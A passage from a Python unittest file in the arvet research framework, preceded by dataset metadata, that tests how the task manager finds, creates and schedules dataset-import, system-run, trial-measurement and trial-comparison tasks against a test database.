| 85
| 32.157895
| 0.844554
| 0
| 0
| 0.533333
| 0
| 0
| 0.02946
| 0
| 0
| 0
| 0
| 0
| 0.133333
| 1
| 0.133333
| false
| 0
| 0.066667
| 0
| 0.2
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
4055436e9bb132bca069ec764fa43bf78723c3bb
| 51,078
|
py
|
Python
|
arvet/batch_analysis/tests/test_task_manager.py
|
jskinn/arvet
|
742cf3e7ee8848c4efebfaa887fc9c0fd90a06e9
|
[
"BSD-2-Clause"
] | 2
|
2021-05-27T21:48:34.000Z
|
2021-06-12T02:58:44.000Z
|
arvet/batch_analysis/tests/test_task_manager.py
|
jskinn/arvet
|
742cf3e7ee8848c4efebfaa887fc9c0fd90a06e9
|
[
"BSD-2-Clause"
] | null | null | null |
arvet/batch_analysis/tests/test_task_manager.py
|
jskinn/arvet
|
742cf3e7ee8848c4efebfaa887fc9c0fd90a06e9
|
[
"BSD-2-Clause"
] | null | null | null |
# Copyright (c) 2017, John Skinner
import unittest
import unittest.mock as mock
import bson
import pymodm.manager
import arvet.database.tests.database_connection as dbconn
import arvet.core.tests.mock_types as mock_types
from arvet.core.sequence_type import ImageSequenceType
from arvet.core.system import StochasticBehaviour
import arvet.core.image as im
import arvet.core.image_collection as ic
import arvet.core.trial_comparison as tcmp
import arvet.batch_analysis.task_manager as task_manager
import arvet.batch_analysis.job_system
from arvet.batch_analysis.task import Task, JobState
from arvet.batch_analysis.tasks.import_dataset_task import ImportDatasetTask
from arvet.batch_analysis.tasks.run_system_task import RunSystemTask
from arvet.batch_analysis.tasks.measure_trial_task import MeasureTrialTask
from arvet.batch_analysis.tasks.compare_trials_task import CompareTrialTask
class TestTaskManagerImportDataset(unittest.TestCase):
image = None
image_collection = None
@classmethod
def setUpClass(cls):
dbconn.connect_to_test_db()
dbconn.setup_image_manager()
cls.image = mock_types.make_image()
cls.image.save()
cls.image_collection = ic.ImageCollection(
images=[cls.image],
timestamps=[1.2],
sequence_type=ImageSequenceType.SEQUENTIAL
)
cls.image_collection.save()
def setUp(self):
# Remove the collection as the start of the test, so that we're sure it's empty
Task._mongometa.collection.drop()
@classmethod
def tearDownClass(cls):
# Clean up after ourselves by dropping the collection for this model
Task._mongometa.collection.drop()
im.Image._mongometa.collection.drop()
ic.ImageCollection._mongometa.collection.drop()
dbconn.tear_down_image_manager()
def test_get_import_dataset_task_checks_for_existing_task(self):
module_name = 'test_module'
path = '/tmp/dataset/thisisadataset'
additional_args = {'foo': 'bar'}
tmp_manager = ImportDatasetTask.objects
mock_manager = mock.create_autospec(pymodm.manager.Manager)
ImportDatasetTask.objects = mock_manager
task_manager.get_import_dataset_task(module_name, path, additional_args)
ImportDatasetTask.objects = tmp_manager
self.assertTrue(mock_manager.get.called)
query = mock_manager.get.call_args[0][0]
self.assertIn('module_name', query)
self.assertEqual(module_name, query['module_name'])
self.assertIn('path', query)
self.assertEqual(path, query['path'])
self.assertIn('additional_args', query)
self.assertEqual(additional_args, query['additional_args'])
def test_get_import_dataset_task_returns_existing(self):
module_name = 'test_module'
path = '/tmp/dataset/thisisadataset'
additional_args = {'foo': 'bar'}
task = ImportDatasetTask(
module_name=module_name,
path=path,
additional_args=additional_args,
num_cpus=15,
num_gpus=6,
state=JobState.DONE,
result=self.image_collection
)
task.save()
result = task_manager.get_import_dataset_task(module_name, path, additional_args)
self.assertEqual(result.module_name, task.module_name)
self.assertEqual(result.path, task.path)
self.assertEqual(result.additional_args, task.additional_args)
self.assertEqual(result.num_cpus, 15)
self.assertEqual(result.num_gpus, 6)
self.assertEqual(result.state, task.state)
self.assertEqual(result.result_id, task.result_id)
def test_get_import_dataset_task_returns_new_instance_if_no_existing(self):
module_name = 'test_module'
path = '/tmp/dataset/thisisadataset'
additional_args = {}
num_cpus = 12
num_gpus = 3
result = task_manager.get_import_dataset_task(
module_name=module_name,
path=path,
additional_args=additional_args,
num_cpus=num_cpus,
num_gpus=num_gpus
)
self.assertIsInstance(result, ImportDatasetTask)
self.assertIsNone(result._id)
self.assertEqual(result.module_name, module_name)
self.assertEqual(result.path, path)
self.assertEqual(result.additional_args, additional_args)
self.assertEqual(result.num_cpus, num_cpus)
self.assertEqual(result.num_gpus, num_gpus)
self.assertTrue(result.is_unstarted)
self.assertFalse(result.is_running)
self.assertFalse(result.is_finished)
class SeededMockSystem(mock_types.MockSystem):
@classmethod
def is_deterministic(cls):
return StochasticBehaviour.SEEDED
class NonDeterministicMockSystem(mock_types.MockSystem):
@classmethod
def is_deterministic(cls):
return StochasticBehaviour.NON_DETERMINISTIC
class TestTaskManagerRunSystem(unittest.TestCase):
system = None
seeded_system = None
non_deterministic_system = None
image_source = None
trial_result = None
@classmethod
def setUpClass(cls):
dbconn.connect_to_test_db()
cls.system = mock_types.MockSystem()
cls.seeded_system = SeededMockSystem()
cls.non_deterministic_system = NonDeterministicMockSystem()
cls.image_source = mock_types.MockImageSource()
cls.system.save()
cls.seeded_system.save()
cls.non_deterministic_system.save()
cls.image_source.save()
cls.trial_result = mock_types.MockTrialResult(image_source=cls.image_source, system=cls.system, success=True)
cls.trial_result.save()
def setUp(self):
# Remove all the tasks at the start of the test, so that we're sure it's empty
Task.objects.all().delete()
@classmethod
def tearDownClass(cls):
# Clean up after ourselves by dropping the collection for this model
Task._mongometa.collection.drop()
mock_types.MockTrialResult._mongometa.collection.drop()
mock_types.MockImageSource._mongometa.collection.drop()
mock_types.MockSystem._mongometa.collection.drop()
def test_get_run_system_task_checks_for_existing_task_deterministic(self):
tmp_manager = RunSystemTask.objects
mock_manager = mock.create_autospec(pymodm.manager.Manager)
RunSystemTask.objects = mock_manager
task_manager.get_run_system_task(self.system, self.image_source, 12, seed=43)
RunSystemTask.objects = tmp_manager
self.assertTrue(mock_manager.get.called)
query = mock_manager.get.call_args[0][0]
self.assertIn('system', query)
self.assertEqual(self.system._id, query['system'])
self.assertIn('image_source', query)
self.assertEqual(self.image_source._id, query['image_source'])
self.assertNotIn('repeat', query)
self.assertNotIn('seed', query)
def test_get_run_system_task_checks_for_existing_task_seeded(self):
tmp_manager = RunSystemTask.objects
mock_manager = mock.create_autospec(pymodm.manager.Manager)
RunSystemTask.objects = mock_manager
task_manager.get_run_system_task(self.seeded_system, self.image_source, 12, seed=43)
RunSystemTask.objects = tmp_manager
self.assertTrue(mock_manager.get.called)
query = mock_manager.get.call_args[0][0]
self.assertIn('system', query)
self.assertEqual(self.seeded_system._id, query['system'])
self.assertIn('image_source', query)
self.assertEqual(self.image_source._id, query['image_source'])
self.assertIn('repeat', query)
self.assertEqual(12, query['repeat'])
self.assertIn('seed', query)
self.assertEqual(43, query['seed'])
def test_get_run_system_task_checks_for_existing_task_non_deterministic(self):
tmp_manager = RunSystemTask.objects
mock_manager = mock.create_autospec(pymodm.manager.Manager)
RunSystemTask.objects = mock_manager
task_manager.get_run_system_task(self.non_deterministic_system, self.image_source, 12, seed=43)
RunSystemTask.objects = tmp_manager
self.assertTrue(mock_manager.get.called)
query = mock_manager.get.call_args[0][0]
self.assertIn('system', query)
self.assertEqual(self.non_deterministic_system._id, query['system'])
self.assertIn('image_source', query)
self.assertEqual(self.image_source._id, query['image_source'])
self.assertIn('repeat', query)
self.assertEqual(12, query['repeat'])
self.assertNotIn('seed', query)
def test_get_run_system_task_returns_existing_deterministic(self):
task = RunSystemTask(
system=self.system,
image_source=self.image_source,
repeat=10, # Should be ignored
num_cpus=15,
num_gpus=6,
state=JobState.DONE,
result=self.trial_result
)
task.save()
result = task_manager.get_run_system_task(self.system, self.image_source, 13)
self.assertEqual(result.system, task.system)
self.assertEqual(result.image_source, task.image_source)
self.assertEqual(result.repeat, 10)
self.assertIsNone(result.seed)
self.assertEqual(result.num_cpus, 15)
self.assertEqual(result.num_gpus, 6)
self.assertEqual(result.state, task.state)
self.assertEqual(result.result_id, task.result_id)
def test_get_run_system_task_returns_existing_seeded(self):
task = RunSystemTask(
system=self.seeded_system,
image_source=self.image_source,
repeat=13,
seed=33,
num_cpus=15,
num_gpus=6,
state=JobState.DONE,
result=self.trial_result
)
task.save()
result = task_manager.get_run_system_task(self.seeded_system, self.image_source, 13, seed=33)
self.assertEqual(result.system, task.system)
self.assertEqual(result.image_source, task.image_source)
self.assertEqual(result.repeat, task.repeat)
self.assertEqual(result.seed, task.seed)
self.assertEqual(result.num_cpus, 15)
self.assertEqual(result.num_gpus, 6)
self.assertEqual(result.state, task.state)
self.assertEqual(result.result_id, task.result_id)
def test_get_run_system_task_returns_existing_non_deterministic(self):
task = RunSystemTask(
system=self.non_deterministic_system,
image_source=self.image_source,
repeat=13,
num_cpus=15,
num_gpus=6,
state=JobState.DONE,
result=self.trial_result
)
task.save()
result = task_manager.get_run_system_task(self.non_deterministic_system, self.image_source, 13)
self.assertEqual(result.system, task.system)
self.assertEqual(result.image_source, task.image_source)
self.assertEqual(result.repeat, task.repeat)
self.assertIsNone(result.seed)
self.assertEqual(result.num_cpus, 15)
self.assertEqual(result.num_gpus, 6)
self.assertEqual(result.state, task.state)
self.assertEqual(result.result_id, task.result_id)
def test_get_run_system_task_returns_new_instance_if_no_existing(self):
repeat = 14
seed = 121515
num_cpus = 12
num_gpus = 3
for system in [self.system, self.seeded_system, self.non_deterministic_system]:
task = task_manager.get_run_system_task(
system=system,
image_source=self.image_source,
repeat=repeat,
seed=seed,
num_cpus=num_cpus,
num_gpus=num_gpus
)
self.assertIsInstance(task, RunSystemTask)
self.assertIsNone(task._id)
self.assertEqual(system, task.system)
self.assertEqual(self.image_source, task.image_source)
self.assertEqual(num_cpus, task.num_cpus)
self.assertEqual(num_gpus, task.num_gpus)
self.assertTrue(task.is_unstarted)
self.assertFalse(task.is_running)
self.assertFalse(task.is_finished)
if system == self.system:
self.assertEqual(0, task.repeat)
else:
self.assertEqual(task.repeat, repeat)
if system == self.seeded_system:
self.assertEqual(seed, task.seed)
else:
self.assertIsNone(task.seed)
# Check it saves and loads with no issues
task.save()
loaded_task = RunSystemTask.objects.get({'_id': task.identifier})
self.assertEqual(task, loaded_task)
def test_get_run_system_task_ignores_repeat_for_deterministic_systems(self):
task = RunSystemTask(
system=self.system, # The default system is DETERMINISTIC
image_source=self.image_source,
num_cpus=15,
num_gpus=6,
state=JobState.DONE,
result=self.trial_result
)
task.save()
for repeat in range(10):
# No matter the repeat, we should keep getting the same object
result = task_manager.get_run_system_task(self.system, self.image_source, repeat=repeat)
self.assertEqual(result.pk, task.pk)
self.assertEqual(result.system, task.system)
self.assertEqual(result.image_source, task.image_source)
self.assertEqual(result.repeat, task.repeat)
self.assertIsNone(result.seed)
self.assertEqual(result.num_cpus, 15)
self.assertEqual(result.num_gpus, 6)
self.assertEqual(result.state, task.state)
self.assertEqual(result.result_id, task.result_id)
def test_get_run_system_task_ignores_seed_for_non_seeded_systems(self):
task = RunSystemTask(
system=self.system, # The default system is DETERMINISTIC
image_source=self.image_source,
repeat=13,
num_cpus=15,
num_gpus=6,
state=JobState.DONE,
result=self.trial_result
)
task.save()
for idx in range(10):
# No matter the seed, we should keep getting the same object
seed = (1241151 * idx * idx) % (2 ** 32)
result = task_manager.get_run_system_task(self.system, self.image_source, 13, seed=seed)
self.assertEqual(result.pk, task.pk)
self.assertEqual(result.system, task.system)
self.assertEqual(result.image_source, task.image_source)
self.assertEqual(result.repeat, task.repeat)
self.assertIsNone(result.seed)
self.assertEqual(result.num_cpus, 15)
self.assertEqual(result.num_gpus, 6)
self.assertEqual(result.state, task.state)
self.assertEqual(result.result_id, task.result_id)
task = RunSystemTask(
system=self.non_deterministic_system,
image_source=self.image_source,
repeat=22,
num_cpus=8,
num_gpus=28,
state=JobState.DONE,
result=self.trial_result
)
task.save()
for idx in range(10):
# No matter the seed, we should keep getting the same object
seed = (1241151 * idx * idx) % (2 ** 32)
result = task_manager.get_run_system_task(self.non_deterministic_system, self.image_source, 22, seed=seed)
self.assertEqual(result.pk, task.pk)
self.assertEqual(result.system, self.non_deterministic_system)
self.assertEqual(result.image_source, task.image_source)
self.assertEqual(result.repeat, task.repeat)
self.assertIsNone(result.seed)
self.assertEqual(result.num_cpus, 8)
self.assertEqual(result.num_gpus, 28)
self.assertEqual(result.state, task.state)
self.assertEqual(result.result_id, task.result_id)
def test_get_run_system_task_returns_different_tasks_for_seeded_systems_with_different_seeds(self):
task = RunSystemTask(
system=self.seeded_system,
image_source=self.image_source,
repeat=13,
num_cpus=15,
num_gpus=6,
state=JobState.DONE,
result=self.trial_result
)
task.save()
for seed in range(10):
result = task_manager.get_run_system_task(self.seeded_system, self.image_source, 13, seed=seed)
self.assertIsNone(result.pk)
self.assertEqual(result.system, self.seeded_system)
self.assertEqual(result.image_source, self.image_source)
self.assertEqual(result.seed, seed)
self.assertEqual(result.repeat, 13)
self.assertEqual(result.num_cpus, 1)
self.assertEqual(result.num_gpus, 0)
self.assertEqual(result.state, JobState.UNSTARTED)
def test_get_run_system_task_returns_same_task_for_same_seed(self):
task = RunSystemTask(
system=self.seeded_system,
image_source=self.image_source,
repeat=13,
seed=13265,
num_cpus=15,
num_gpus=6,
state=JobState.DONE,
result=self.trial_result
)
task.save()
result = task_manager.get_run_system_task(self.seeded_system, self.image_source, 13, seed=13265)
self.assertEqual(result.pk, task.pk)
self.assertEqual(result.system, task.system)
self.assertEqual(result.image_source, task.image_source)
self.assertEqual(result.seed, 13265)
self.assertEqual(result.repeat, task.repeat)
self.assertEqual(result.num_cpus, 15)
self.assertEqual(result.num_gpus, 6)
self.assertEqual(result.state, task.state)
self.assertEqual(result.result_id, task.result_id)
def test_get_run_system_task_works_with_ids_only(self):
for system in [self.system, self.seeded_system, self.non_deterministic_system]:
task = task_manager.get_run_system_task(
system=system.identifier,
image_source=self.image_source.identifier,
repeat=6,
num_cpus=43,
num_gpus=89
)
# Check it saves and loads with no issues
task.save()
loaded_task = RunSystemTask.objects.get({'_id': task.identifier})
self.assertEqual(task, loaded_task)
def test_get_run_system_task_determines_stochastic_behaviour_with_only_ids(self):
task = RunSystemTask(
system=self.system, # Default system is DETERMINISTIC
image_source=self.image_source,
repeat=6,
num_cpus=43,
num_gpus=89,
state=JobState.UNSTARTED
)
task.save()
for seed in range(10):
result = task_manager.get_run_system_task(self.system.identifier, self.image_source.identifier,
repeat=6, seed=seed)
self.assertEqual(result, task)
task = RunSystemTask(
system=self.seeded_system,
image_source=self.image_source,
repeat=13,
seed=13265,
num_cpus=15,
num_gpus=6,
state=JobState.DONE,
result=self.trial_result
)
task.save()
result = task_manager.get_run_system_task(self.seeded_system.identifier, self.image_source.identifier,
repeat=13, seed=13265)
self.assertEqual(result, task)
for seed in range(10):
result = task_manager.get_run_system_task(self.seeded_system.identifier, self.image_source.identifier,
repeat=13, seed=seed)
self.assertNotEqual(result, task)
self.assertIsNone(result.pk)
task = RunSystemTask(
system=self.non_deterministic_system,
image_source=self.image_source,
repeat=22,
seed=13265,
num_cpus=15,
num_gpus=6,
state=JobState.DONE,
result=self.trial_result
)
task.save()
for seed in range(10):
result = task_manager.get_run_system_task(self.non_deterministic_system, self.image_source.identifier,
repeat=22, seed=seed)
self.assertEqual(result, task)
def test_get_run_system_task_cannot_save_with_invalid_ids(self):
with self.assertRaises(ValueError) as exp:
task_manager.get_run_system_task(
system=bson.ObjectId(),
image_source=self.image_source.identifier,
repeat=32
)
self.assertIn('system', str(exp.exception))
with self.assertRaises(ValueError) as exp:
task_manager.get_run_system_task(
system=self.system,
image_source=bson.ObjectId(),
repeat=32
)
self.assertIn('image_source', str(exp.exception))
class TestTaskManagerMeasureTrials(unittest.TestCase):
system = None
image_source = None
metric = None
trial_result_1 = None
metric_result = None
@classmethod
def setUpClass(cls):
dbconn.connect_to_test_db()
cls.system = mock_types.MockSystem()
cls.image_source = mock_types.MockImageSource()
cls.metric = mock_types.MockMetric()
cls.system.save()
cls.image_source.save()
cls.metric.save()
cls.trial_result_1 = mock_types.MockTrialResult(image_source=cls.image_source, system=cls.system, success=True)
cls.trial_result_1.save()
cls.trial_result_2 = mock_types.MockTrialResult(image_source=cls.image_source, system=cls.system, success=True)
cls.trial_result_2.save()
cls.metric_result = mock_types.MockMetricResult(metric=cls.metric, trial_results=[cls.trial_result_1],
success=True)
cls.metric_result.save()
def setUp(self):
# Remove the collection as the start of the test, so that we're sure it's empty
Task._mongometa.collection.drop()
@classmethod
def tearDownClass(cls):
# Clean up after ourselves by dropping the collection for this model
Task._mongometa.collection.drop()
mock_types.MockMetricResult._mongometa.collection.drop()
mock_types.MockTrialResult._mongometa.collection.drop()
mock_types.MockMetric._mongometa.collection.drop()
mock_types.MockImageSource._mongometa.collection.drop()
mock_types.MockSystem._mongometa.collection.drop()
def test_get_measure_trial_task_checks_for_existing_task(self):
tmp_manager = MeasureTrialTask.objects
mock_manager = mock.create_autospec(pymodm.manager.Manager)
MeasureTrialTask.objects = mock_manager
task_manager.get_measure_trial_task([self.trial_result_1], self.metric)
MeasureTrialTask.objects = tmp_manager
self.assertTrue(mock_manager.get.called)
query = mock_manager.get.call_args[0][0]
self.assertIn('trial_results', query)
self.assertEqual({'$all': [self.trial_result_1._id]}, query['trial_results'])
self.assertIn('metric', query)
self.assertEqual(self.metric._id, query['metric'])
def test_get_measure_trial_task_returns_existing(self):
task = MeasureTrialTask(
trial_results=[self.trial_result_1, self.trial_result_2],
metric=self.metric,
num_cpus=15,
num_gpus=6,
state=JobState.DONE,
result=self.metric_result
)
task.save()
result = task_manager.get_measure_trial_task([self.trial_result_1, self.trial_result_2], self.metric)
self.assertEqual(result.trial_results, task.trial_results)
self.assertEqual(result.metric, task.metric)
self.assertEqual(result.num_cpus, 15)
self.assertEqual(result.num_gpus, 6)
self.assertEqual(result.state, task.state)
self.assertEqual(result.result_id, task.result_id)
def test_get_measure_trial_task_returns_existing_changed_order(self):
task = MeasureTrialTask(
trial_results=[self.trial_result_1, self.trial_result_2],
metric=self.metric,
num_cpus=15,
num_gpus=6,
state=JobState.DONE,
result=self.metric_result
)
task.save()
result = task_manager.get_measure_trial_task([self.trial_result_2, self.trial_result_1], self.metric)
self.assertEqual(result.trial_results, task.trial_results)
self.assertEqual(result.metric, task.metric)
self.assertEqual(result.num_cpus, 15)
self.assertEqual(result.num_gpus, 6)
self.assertEqual(result.state, task.state)
self.assertEqual(result.result_id, task.result_id)
def test_get_measure_trial_task_returns_new_instance_if_no_existing(self):
num_cpus = 12
num_gpus = 3
result = task_manager.get_measure_trial_task(
trial_results=[self.trial_result_1, self.trial_result_2],
metric=self.metric,
num_cpus=num_cpus,
num_gpus=num_gpus
)
self.assertIsInstance(result, MeasureTrialTask)
self.assertIsNone(result._id)
self.assertEqual(result.trial_results, [self.trial_result_1, self.trial_result_2])
self.assertEqual(result.metric, self.metric)
self.assertEqual(result.num_cpus, num_cpus)
self.assertEqual(result.num_gpus, num_gpus)
self.assertTrue(result.is_unstarted)
self.assertFalse(result.is_running)
self.assertFalse(result.is_finished)
def test_get_measure_trial_task_works_with_ids_only(self):
task = task_manager.get_measure_trial_task(
trial_results=[self.trial_result_1.identifier],
metric=self.metric.identifier,
num_cpus=32,
num_gpus=7
)
# Check it saves and loads with no issues
task.save()
loaded_task = MeasureTrialTask.objects.get({'_id': task.identifier})
self.assertEqual(task, loaded_task)
def test_get_measure_trial_task_cannot_save_with_invalid_ids(self):
with self.assertRaises(ValueError) as exp:
task_manager.get_measure_trial_task(
trial_results=[self.trial_result_1, bson.ObjectId()],
metric=self.metric
)
self.assertIn('trial_result', str(exp.exception))
with self.assertRaises(ValueError) as exp:
task_manager.get_measure_trial_task(
trial_results=[self.trial_result_1.identifier],
metric=bson.ObjectId()
)
self.assertIn('metric', str(exp.exception))
class TestTaskManagerCompareTrials(unittest.TestCase):
system = None
image_source = None
metric = None
trial_result_1 = None
trial_result_2 = None
metric_result = None
@classmethod
def setUpClass(cls):
dbconn.connect_to_test_db()
cls.system = mock_types.MockSystem()
cls.image_source = mock_types.MockImageSource()
cls.metric = mock_types.MockTrialComparisonMetric()
cls.system.save()
cls.image_source.save()
cls.metric.save()
cls.trial_result_1 = mock_types.MockTrialResult(image_source=cls.image_source, system=cls.system, success=True)
cls.trial_result_2 = mock_types.MockTrialResult(image_source=cls.image_source, system=cls.system, success=True)
cls.trial_result_1.save()
cls.trial_result_2.save()
cls.metric_result = tcmp.TrialComparisonResult(
metric=cls.metric,
trial_results_1=[cls.trial_result_1],
trial_results_2=[cls.trial_result_2],
success=True)
cls.metric_result.save()
def setUp(self):
# Remove the collection as the start of the test, so that we're sure it's empty
Task._mongometa.collection.drop()
@classmethod
def tearDownClass(cls):
# Clean up after ourselves by dropping the collection for this model
Task._mongometa.collection.drop()
tcmp.TrialComparisonResult._mongometa.collection.drop()
mock_types.MockTrialResult._mongometa.collection.drop()
mock_types.MockMetric._mongometa.collection.drop()
mock_types.MockImageSource._mongometa.collection.drop()
mock_types.MockSystem._mongometa.collection.drop()
def test_get_trial_comparison_task_checks_for_existing_task(self):
tmp_manager = CompareTrialTask.objects
mock_manager = mock.create_autospec(pymodm.manager.Manager)
CompareTrialTask.objects = mock_manager
task_manager.get_trial_comparison_task([self.trial_result_1], [self.trial_result_2], self.metric)
CompareTrialTask.objects = tmp_manager
self.assertTrue(mock_manager.get.called)
query = mock_manager.get.call_args[0][0]
self.assertIn('trial_results_1', query)
self.assertEqual([self.trial_result_1._id], query['trial_results_1'])
self.assertIn('trial_results_2', query)
self.assertEqual([self.trial_result_2._id], query['trial_results_2'])
self.assertIn('metric', query)
self.assertEqual(self.metric._id, query['metric'])
def test_get_trial_comparison_task_returns_existing(self):
task = CompareTrialTask(
trial_results_1=[self.trial_result_1],
trial_results_2=[self.trial_result_2],
metric=self.metric,
num_cpus=15,
num_gpus=6,
state=JobState.DONE,
result=self.metric_result
)
task.save()
result = task_manager.get_trial_comparison_task([self.trial_result_1], [self.trial_result_2], self.metric)
self.assertEqual(result.trial_results_1, task.trial_results_1)
self.assertEqual(result.trial_results_2, task.trial_results_2)
self.assertEqual(result.metric, task.metric)
self.assertEqual(result.num_cpus, 15)
self.assertEqual(result.num_gpus, 6)
self.assertEqual(result.state, task.state)
self.assertEqual(result.result_id, task.result_id)
def test_get_trial_comparison_task_returns_new_instance_if_no_existing(self):
num_cpus = 12
num_gpus = 3
result = task_manager.get_trial_comparison_task(
trial_results_1=[self.trial_result_1],
trial_results_2=[self.trial_result_2],
comparison_metric=self.metric,
num_cpus=num_cpus,
num_gpus=num_gpus
)
self.assertIsInstance(result, CompareTrialTask)
self.assertIsNone(result._id)
self.assertEqual(result.trial_results_1, [self.trial_result_1])
self.assertEqual(result.trial_results_2, [self.trial_result_2])
self.assertEqual(result.metric, self.metric)
self.assertEqual(result.num_cpus, num_cpus)
self.assertEqual(result.num_gpus, num_gpus)
self.assertTrue(result.is_unstarted)
self.assertFalse(result.is_running)
self.assertFalse(result.is_finished)
def test_get_compare_trial_task_works_with_ids_only(self):
task = task_manager.get_trial_comparison_task(
trial_results_1=[self.trial_result_1.identifier],
trial_results_2=[self.trial_result_2.identifier],
comparison_metric=self.metric.identifier,
num_cpus=907,
num_gpus=67
)
# Check it saves and loads with no issues
task.save()
loaded_task = CompareTrialTask.objects.get({'_id': task.identifier})
self.assertEqual(task, loaded_task)
def test_get_compare_trial_task_cannot_save_with_invalid_ids(self):
with self.assertRaises(ValueError) as exp:
task_manager.get_trial_comparison_task(
trial_results_1=[self.trial_result_1, bson.ObjectId()],
trial_results_2=[self.trial_result_2.identifier],
comparison_metric=self.metric.identifier
)
self.assertIn('trial_results_1', str(exp.exception))
with self.assertRaises(ValueError) as exp:
task_manager.get_trial_comparison_task(
trial_results_1=[self.trial_result_1.identifier],
trial_results_2=[self.trial_result_2, bson.ObjectId()],
comparison_metric=self.metric.identifier
)
self.assertIn('trial_results_2', str(exp.exception))
with self.assertRaises(ValueError) as exp:
task_manager.get_trial_comparison_task(
trial_results_1=[self.trial_result_1.identifier],
trial_results_2=[self.trial_result_2.identifier],
comparison_metric=bson.ObjectId()
)
self.assertIn('metric', str(exp.exception))
class TestTaskManagerScheduleTasksDatabase(unittest.TestCase):
system = None
image_source = None
metric = None
comparison_metric = None
trial_result_1 = None
trial_result_2 = None
metric_result = None
comaprison_result = None
@classmethod
def setUpClass(cls):
dbconn.connect_to_test_db()
cls.system = mock_types.MockSystem()
cls.image_source = mock_types.MockImageSource()
cls.metric = mock_types.MockMetric()
cls.comparison_metric = mock_types.MockTrialComparisonMetric()
cls.system.save()
cls.image_source.save()
cls.metric.save()
cls.comparison_metric.save()
cls.trial_result_1 = mock_types.MockTrialResult(image_source=cls.image_source, system=cls.system, success=True)
cls.trial_result_2 = mock_types.MockTrialResult(image_source=cls.image_source, system=cls.system, success=True)
cls.trial_result_1.save()
cls.trial_result_2.save()
cls.metric_result = mock_types.MockMetricResult(metric=cls.metric, trial_results=[cls.trial_result_1],
success=True)
cls.metric_result.save()
cls.comparison_result = tcmp.TrialComparisonResult(
metric=cls.comparison_metric,
trial_results_1=[cls.trial_result_1],
trial_results_2=[cls.trial_result_2],
success=True)
cls.comparison_result.save()
def setUp(self):
# Remove the collection as the start of the test, so that we're sure it's empty
Task._mongometa.collection.drop()
@classmethod
def tearDownClass(cls):
# Clean up after ourselves by dropping the collection for this model
Task._mongometa.collection.drop()
tcmp.TrialComparisonResult._mongometa.collection.drop()
mock_types.MockTrialResult._mongometa.collection.drop()
mock_types.MockMetric._mongometa.collection.drop()
mock_types.MockImageSource._mongometa.collection.drop()
mock_types.MockSystem._mongometa.collection.drop()
def test_schedule_tasks_cancels_tasks_listed_as_running_on_this_node(self):
# Set up initial database state
this_node_task = ImportDatasetTask(
module_name='test',
path='/dev/null',
state=JobState.RUNNING,
node_id='here',
job_id=10
)
this_node_task.save()
different_node_task = ImportDatasetTask(
module_name='test',
path='/dev/null',
state=JobState.RUNNING,
node_id='there',
job_id=14
)
different_node_task.save()
mock_job_system = mock.create_autospec(spec=arvet.batch_analysis.job_system.JobSystem, spec_set=True)
mock_job_system.node_id = 'here'
mock_job_system.is_job_running.return_value = False
mock_job_system.is_queue_full.return_value = False
task_manager.schedule_tasks(mock_job_system)
task = ImportDatasetTask.objects.get({'_id': this_node_task._id})
self.assertEqual(JobState.UNSTARTED, task.state)
task = ImportDatasetTask.objects.get({'_id': different_node_task._id})
self.assertEqual(JobState.RUNNING, task.state)
self.assertTrue(mock_job_system.is_job_running.called)
self.assertEqual(1, mock_job_system.is_job_running.call_count)
self.assertEqual(10, mock_job_system.is_job_running.call_args[0][0])
def test_schedule_tasks_schedules_import_dataset_task(self):
task = task_manager.get_import_dataset_task(module_name='test', path='/dev/null')
task.save()
mock_job_system = mock.create_autospec(spec=arvet.batch_analysis.job_system.JobSystem, spec_set=True)
mock_job_system.node_id = 'here'
mock_job_system.is_job_running.return_value = False
mock_job_system.is_queue_full.return_value = False
task_manager.schedule_tasks(mock_job_system)
self.assertEqual(mock.call(task), mock_job_system.run_task.call_args)
def test_schedule_tasks_schedules_run_system_task(self):
task = task_manager.get_run_system_task(
image_source=self.image_source,
system=self.system
)
task.save()
mock_job_system = mock.create_autospec(spec=arvet.batch_analysis.job_system.JobSystem, spec_set=True)
mock_job_system.node_id = 'here'
mock_job_system.is_job_running.return_value = False
mock_job_system.is_queue_full.return_value = False
task_manager.schedule_tasks(mock_job_system)
self.assertEqual(mock.call(task), mock_job_system.run_task.call_args)
def test_schedule_tasks_schedules_measure_trial_task(self):
task = task_manager.get_measure_trial_task(
trial_results=[self.trial_result_1, self.trial_result_2],
metric=self.metric
)
task.save()
mock_job_system = mock.create_autospec(spec=arvet.batch_analysis.job_system.JobSystem, spec_set=True)
mock_job_system.node_id = 'here'
mock_job_system.is_job_running.return_value = False
task_manager.schedule_tasks(mock_job_system)
self.assertEqual(mock.call(task), mock_job_system.run_task.call_args)
def test_schedule_tasks_schedules_compare_trials_task(self):
task = task_manager.get_trial_comparison_task(
trial_results_1=[self.trial_result_1],
trial_results_2=[self.trial_result_2],
comparison_metric=self.comparison_metric
)
task.save()
mock_job_system = mock.create_autospec(spec=arvet.batch_analysis.job_system.JobSystem, spec_set=True)
mock_job_system.node_id = 'here'
mock_job_system.is_job_running.return_value = False
task_manager.schedule_tasks(mock_job_system)
self.assertEqual(mock.call(task), mock_job_system.run_task.call_args)
def test_schedule_tasks_runs_many_tasks(self):
# Set up initial database state
tasks = [RunSystemTask(
system=self.system,
image_source=self.image_source,
repeat=repeat,
failure_count=0,
state=JobState.UNSTARTED
) for repeat in range(10)]
for task in tasks:
task.save()
mock_job_system = mock.create_autospec(spec=arvet.batch_analysis.job_system.JobSystem, spec_set=True)
mock_job_system.node_id = 'here'
mock_job_system.is_job_running.return_value = True
mock_job_system.run_task.return_value = 33
mock_job_system.is_queue_full.return_value = False
task_manager.schedule_tasks(mock_job_system)
self.assertEqual(len(tasks), mock_job_system.run_task.call_count)
called_task_ids = set(call_args[0][0].pk for call_args in mock_job_system.run_task.call_args_list)
self.assertEqual(set(task.pk for task in tasks), called_task_ids)
def test_schedule_tasks_stops_early_if_queue_is_full(self):
# Set up initial database state
tasks = [RunSystemTask(
system=self.system,
image_source=self.image_source,
repeat=repeat,
failure_count=0,
state=JobState.UNSTARTED
) for repeat in range(10)]
for task_obj in tasks:
task_obj.save()
# Mock methods to fill a queue
max_jobs = 5
queue_len = 0
def is_queue_full():
nonlocal queue_len
return queue_len >= max_jobs
def run_task(task):
nonlocal queue_len
queue_len += 1
return queue_len
